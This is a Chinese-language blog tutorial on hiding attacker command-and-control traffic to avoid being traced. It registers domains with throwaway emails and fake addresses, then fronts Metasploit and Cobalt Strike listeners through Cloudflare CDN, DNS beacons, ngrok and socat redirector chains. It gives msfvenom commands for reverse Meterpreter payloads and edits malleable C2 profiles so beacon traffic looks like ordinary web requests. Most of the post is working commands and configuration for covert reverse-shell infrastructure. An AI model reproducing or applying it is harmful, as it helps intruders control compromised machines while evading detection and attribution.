流量隐藏

简介

流量隐藏是实战中最重要的

域名上线隐藏IP

隐藏ip的重要性

在使用MSF或者CS获得目标机Sessions或者Beacon时,如果直接使用自己的VPS作为MSF或CS的服 务器时,容易被溯源到攻击者所在VPS主机IP。

域名上线原理

当我们访问域名时会经过域名解析,域名解析就是将域名转换到IP地址的过程,我们通过域名访问服 务器,实际上是访问的目标服务器IP地址

  • A记录

    将域名指向一个IPv4地址(例如:100.100.100.100),需要增加A记录

  • CNAME记录:

    如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加CNAME记 录。这个域名一般是主机服务商提供的一个域名

  • MX记录:

    建立电子邮箱服务,将指向邮件服务器地址,需要设置MX记录。建立邮箱时,一般会根 据邮箱服务商提供的MX记录填写此记录

  • NS记录

    域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置NS记录

  • TXT记录

    可任意填写,可为空。一般做一些验证记录时会使用此项,如:做SPF(反垃圾邮件)记录

  • AAAA记录

    将主机名(或域名)指向一个IPv6地址(例如:ff03:0:0:0:0:0:0:c1),需要添加AAAA 记录

CDN简介

CDN 的全称是 Content Delivery Network,即内容分发网络。其目的是通过在现有的Internet中 增加一层新的CACHE(缓存)层,将网站的内容发布到最接近用户的网络”边缘“的节点,目的提高用户访 问网站的先赢速度

使用CDN内容分发网络的多节点分布式技术,通过 “加速、代理、缓存” 隐藏在后面的静态文件或服 务;最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或 IP!

假设您的业务源站域名为 www.test.com ,当域名接入 CDN 开始使用加速服务后,您的用户发起 HTTP 请求,实际的处理流程如图所示,根据他的处理流程,CDN 最后会将流量转发到真实IP上,那 么我们便能通过CDN达到隐藏自身的效果

域名+CDN配置

关于备案

  1. 无需备案

    注册国外域名,但是暂时不打算启用建站,那么无需备案;

    注册国外域名,域名指向到国外网站空间或者是放置在特别行政区,如香港,也无需备案。

  2. 需要备案

    注册国内域名,要备案后才能使用。

    注册国外域名,但是绑定国内的服务器空间,也需要备案才能使用

注册域名

  1. 国外域名注册商 NameSilo

    https://www.namesilo.com/

    注册账号: https://www.namesilo.com/login

    建议使用临时邮箱

    美国地址生成器: https://www.meiguodizhi.com/

  2. 搜索域名

    网站首页,输入查询的域名

    便宜域名后缀:.info、.top、.xyz、.fun 等等

  3. 购买域名

    优惠码

    https://www.uphezi.com/namesilo-coupon/?wpcd_coupon=2828

  4. 管理域名

    https://www.namesilo.com/account_domains.php

  5. 注册免费CDN服务

    • 登录注册账号

    https://www.cloudflare.com/zh-cn/

    • 配置域名使用CDN添加站点

      主页,添加站点,输入前面购买的域名。

    image-20240219091629305

    • 选择免费计划

    image-20240219091653961

    • 完成名称服务器设置

      配置域名的 NameServer 域名解析服务

      进入我的域名:https://www.namesilo.com/account_domains.php

      选择 Change Nameservers:

      image-20240219091802079

      修改为 Cloudflare 上得到的 nameserver :

    • 返回 Cloudflare 检查名称服务器

    大概需要等待 10-20 分钟左右的时间,设置成功后, Cloudflare 会发送邮件。

    配置 NameServer 更换解析服务器的原因就是,将 baidus.top 域名的所有解析功能都托管在 Cloudflare,这样 Cloudflare 就可以提供 CDN 的解析功能!

    • 配置CDN域名解析

      DNS配置

      直接配置使用CDN代理模式进行域名解析提供服务

      image-20240219092416458

    • 自动配置全部选择关闭

      概述 -> 快速入门指南

    • 配置 SSL/TLS 加密方式

      SSL/TLS -> 关闭(不安全)

      image-20240219093031742

      Cloudflare 的 CDN,http、https代理模式有个特点,如果用其他端口的话,是监听不到的!

      Cloudflare支持的HTTP端口是:

      80,8080,8880,2052,2082,2086,2095

      Cloudflare支持的HTTPS端口是:

      443,2053,2083,2087,2096,8443

      到此域名+CDN全部搞定!开始测试!

Metasploit

云服务器安装metasploit

1
2
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

HTTP

1
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=shop.xxx.top LPORT=2095 -f exe -o2095.exe

注意生成的payload 的lhost 必须是域名,不然无法隐藏ip 端口一定要是上面提到的那些端口

MSF开启监听

可以直接使用handler 开启监听

1
2
3
4
5
6
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set lhost shop.xxx.top
set reverselistenerbindaddress 192.168.0.141
set lport 2095
run

HTTPS

  • 生成HTTPS证书

    去 Cloudflare 的 SSL/TLS > 源服务器 创建证书,使用默认配置生成pem和key。

    image-20240219094331956

    点击创建,生成源证书和私钥证书:

    保存源证书内容为 cloudflare.pem,保存私钥内容为 cloudflare.key,将创建的pem和key文件

    上传至云服务器。

    创建一个包含源证书内容和私钥内容的统一证书文件;使用 cat 命令:

    cat cloudflare.key cloudflare.pem >> /root/cloudflare-key.pem

  • 设置监听器

    设置 StagerVerifySSLCert 为 true ,表示启用 SSL 验证,同时设置 EnableStageEncoding 来对第二阶段的有效载荷进行编码(分阶段Payload)。

    设置 SSLVersion 为 cloudflare 中指定的最低TLS版本,默认为 TLS1

    image-20240219094731006

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    use exploit/multi/handler
    set payload windows/x64/meterpreter_reverse_https
    set LHOST www.mingy.xyz
    set LPORT 443
    set HandlerSSLCert /root/cloudflare-key.pem # 证书位置
    set StagerVerifySSLCert true # 用于小马拉大马的时候使用
    set EnableStageEncoding true
    set SSLVersion TLS1
    run

    浏览器访问 https://yourdomain ,看到 https 锁和 It works ,表示证书配置成功

  • 生成Payload

注意生成大马会好很多,因为小马网络问题可能连接不上

1
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=www.mingy.xyz LPORT=443 -f exe -o r443.exe
  • 上线会话

    在目标机执行生成的 Payload ,成功收到返回的会话

Cobaltstrike

Beacon HTTP

  1. 配置Listener

    HTTP Host Header,必须填写你的域名!这是CDN技术的原理要求

    image-20240219101722344

    这里必须都要配置为 cloudflare 对应的Port

  2. 生成Payload

    使用上一步配置的监听器,创建windows可执行 Payload,目标主机运行 payload,主机可以成功上线

Beacon DNS

这个方式不会被 流量检测设备识别到

因为都不会拦截DNS 的流量

Cloudflare添加域名

  1. https://dash.cloudflare.com/ 注册并登录

  2. 添加站点,选择域名添加:xxx.com

  3. 添加A记录,设置为VPS的IP地址

    这个记得不能设置cdn 代理

    1
    A ds 123.x.x.x
  4. 添加NS记录,设置为A记录对应的域名

    1
    2
    NS ns1 ds.xxx.com
    NS ns2 ds.xxx.com

    创建DNS监听器

    Name: dns

    Payload: Beacon DNS DNS Hosts:

    ns1.xxx.com

    ns2.xxx.com

    DNS Host(Stager): ns1.xxx.com

  5. CS生成Payload

    该方式只能生成32位信息,而且回显是非常卡,上线也非常卡

    生成Payload执行上线,Beacon上线后没有信息显示,右键进入Beacon通过执行chekin命令让DNS Beacon强制回连Teamserver

    1
    2
    Use: mode [dns|dns6|dns-txt]
    设置Beacon的数据交换模式,仅对DNS Beacon有用

    image-20240219102949698

转发代理

利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实IP

如果是使用vps 那么处理就是转发,并不是内网穿透

这个也是白名单

注册ngrok账号

https://ngrok.com/

下载相应版本客户端

image-20240219103356439

运行这两条命令

配置通道

1
2
ngrok tcp port(填写具体的port)
ngrog tcp 9999

image-20240219104627248

使用cs 创建监听

image-20240219104846749

模拟上线

image-20240219105144415

发现ngrok 有流量经过

转发重定向

使用一个机器作为跳板机或者肉机,然后转发请求

image-20240219105937743

缺点就是需要多台vps

工作原理

受害者只与那台做重定向的机器通信,重定向机器只会转发来自 beacon 的特定流量到C2控制端主机 具体实现:一台VPS作为转发器,一台VPS作为 Teamserver

转发机器:47.104.255.11 Teamserver:124.71.45.28

Socat转发

1
socat TCP4-LISTEN:80,fork TCP4:C2ip:80

常用选项

1
2
3
4
5
-lh 将主机名添加到日志消息
-v 详细数据流量,文本
-x 详细数据流量,十六进制
-d 增加详细程度(最多使用4次;建议使用2次)
-lf <logfile> 记录到文件
1
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:80,fork TCP4:C2服务器ip:C2服务器监听Port

将此机器801端口接受到的流量转发给 124.71.45.28:7788

创建监听器

image-20240219110304285

这个地方使用跳板机的ip地址,和对应的端口

多层转发

socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:120.27.61.239:801

socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:124.71.45.28:7788

CS流量隐藏

CS配置文件Profile

image-20240219111028138

点击创建,生成源证书和私钥证书:

image-20240219111100286

保存源证书内容为 cloudflare.pem,保存私钥内容为 cloudflare.key

将创建的pem和key文件上传至云服务器。执行以下命令(www.xxx.com-xh5fo22au1gd09dxqc321f/)为申请的域名)

openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -passout pass:123456

keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store -srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com

将生成的 keystore 文件放在云服务器CS的根目录下。

然后对 4.7 版本 Profile 进行修改。将keystore文件名称和密码填入profile文件中。

需要修改的内容主要有4处:

  • https-certificate

    修改模块中的 keystore 和 password,并去掉 # 注释

    set keystore “shop.baidus.top.store” set password “123456”;

  • http-stager

    把 Server 配置如下内容

    header “Content-Type” “application/javascript; charset=utf-8”;

    修改为

    header “Content-Type” “application/; charset=utf-8”;*

    修改 Client 配置中的 Host 和 Referer:

    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Accept-Language" "en-US,en;q=0.5";
        header "Host" "shop.baidus.top";
        header "Referer" "http://shop.baidus.top/";
        header "Accept-Encoding" "gzip, deflate";
    }
    
  • http-get

    修改 Client 配置中的 Host 和 Referer:

1
2
3
4
5
6
7
8
9
10
11
12
13
client {

header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Host" "shop.baidus.top";
header "Referer" "http://shop.baidus.top/";
header "Accept-Encoding" "gzip, deflate";

metadata {
base64url;
prepend "__cfduid=";
header "Cookie";
}
}

修改Server

header “Content-Type” “application/javascript; charset=utf-8”;

header “Content-Type” “application/*; charset=utf-8”;

  • http-post

修改 Client 配置中的 Host 和 Referer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
client {

header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Host" "shop.baidus.top";
header "Referer" "http://shop.baidus.top/";
header "Accept-Encoding" "gzip, deflate";

id {
mask;
base64url;
parameter "__cfduid";
}

output {
mask;
base64url;
print;
}
}

修改Server

header “Content-Type” “application/javascript; charset=utf-8”;

header “Content-Type” “application/*; charset=utf-8”;

修改完成之后使用cs 自带的c2lint 对profile 语法进行检查,没有报错的话就说明配置没有问题

1
2
c2lint c2.4.7.profile

修改CDN配置

在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的 话请求就无法到达我们的CS服务器,自然也就无法上线了。

启用开发模式并清除缓存。

image-20240219112235726

规则,添加页面规则

选取设置:缓存级别,绕过

image-20240219112256368

上线

使用修改好的profile启动CS

1
./teamserver 124.71.45.28 cs44 c2.4.7.profile

对CS的listener进行配置。

image-20240219112339653

生成木马,在PC运行,成功上线


流量隐藏
https://tsy244.github.io/2024/01/30/渗透/流量隐藏/
Author
August Rosenberg
Posted on
January 30, 2024
Licensed under